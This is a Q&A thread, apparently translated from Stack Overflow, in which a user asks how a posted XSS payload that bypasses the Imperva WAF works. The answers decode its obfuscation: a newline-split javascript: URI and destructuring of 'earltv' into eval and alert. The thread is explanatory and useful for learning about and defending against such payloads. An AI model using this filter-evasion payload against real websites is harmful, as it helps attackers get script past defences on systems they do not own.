【问题标题】:Need help decoding a cross site scripting javascript attack需要帮助解码跨站点脚本 javascript 攻击
【发布时间】:2021-06-04 13:17:44
【问题描述】:

有人在 Twitter 上发布(不确定我是否可以在此处链接)Imperva Web 应用程序防火墙的跨站点脚本绕过。如下所示:

<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click

%0A%0 解码为新行。一个可点击的链接被创建到给定的 URI。但是所有 3:s 和 v+a+e 等都完全让我无法理解。我已经尝试在反射、存储和 DOM XSS 中使用它并获得混合结果。实际上,在某些情况下,Imperva WAF 无法检测到它,但在某些情况下会检测到,而且在许多情况下,它根本不会产生可点击的链接。此时的问题是我不完全理解 javascript 代码。任何帮助表示赞赏。

【问题讨论】:

    标签: javascript xss web-application-firewall imperva


    【解决方案1】:

    除了其他答案之外,这是一个简化的工作演示,展示了它的作用。

    编辑:一些额外的解释

    如果我们在字符串上附加[0]

    let first_letter = "Hey!"[0]; //returns "H"
    

    这意味着每当对字符串请求数组操作时,字符串都会“转换”为数组:

    因此等于:

    let first_letter = ["H","e","y","!"][0]
    

    现在,如果你有一个对象,你可以用一个数组来填充它:

    let obj = {0:h,1:e,2:y,3:I} = ["H","e","y","!"];
    

    最后,你可以将它与 Destructing 结合起来:

    letters = ["H","e","y","!"];
        
    ({0:h,1:e,2:y,3:I} = letters)
        
    console.log(h,e,y,I); //returns "H" "e" "y" "!"

    老实说,非常简单和酷:)

    原始sn-p:

        var {
            3: s,
            2: h,
            5: a,
            0: v,
            4: n,
            1: e
        } = 'earltv'
    
    
    console.log(v + a + e + s , e + s + v + h + n, (/infected/.source));

    【讨论】:

    • 将特定索引处的字符分配给变量的语法的名称是什么?我已经使用 js 几年了,但我想我从未见过它。lol。
    • 没有线索。我也是第一次看到这种语法。
    • 谢谢,太好了
    • @Mahdi 哦,我得到了另一部分,但不知道破坏。检查我的编辑:)
    • 谢谢! @米罗
    【解决方案2】:

    %0A%0D 解码到新行是对的!这给出了: javascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)

    现在让我们分解一下。

    var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'

    这表示字符串'earltv' 的第三个索引是s,第二个是h,第五个是a,以此类推。

    [self][0]

    这实际上除了引用自身之外什么都不做。

    [v+a+e+s]

    现在是解码开始的地方。

    v 实际上是 e(字符串的索引 0)

    a 实际上是 v(字符串的索引 5)

    等等

    解码为eval

    同样,(e+s+v+h+n) 解码为警报。

    所以,我们有:

    eval(alert)(/infected/.source)

    /infected/ 是一个正则表达式,.source 指的是它的来源,也就是字符串"infected"

    现在,这相当于:

    eval (alert) ("infected")

    eval (alert) 本质上返回警报的本机代码,因此只是 alert

    alert("infected")

    现在很简单 - 它只是提醒“感染”,这就是实际发生的情况!

    【讨论】:

    • 感谢您的精彩解释 :)
    猜你喜欢
    • 2011-02-24
    • 2015-04-01
    • 1970-01-01
    • 2020-06-12
    • 1970-01-01
    • 1970-01-01
    • 2011-05-19
    • 2018-10-27
    • 1970-01-01
    相关资源
    最近更新 更多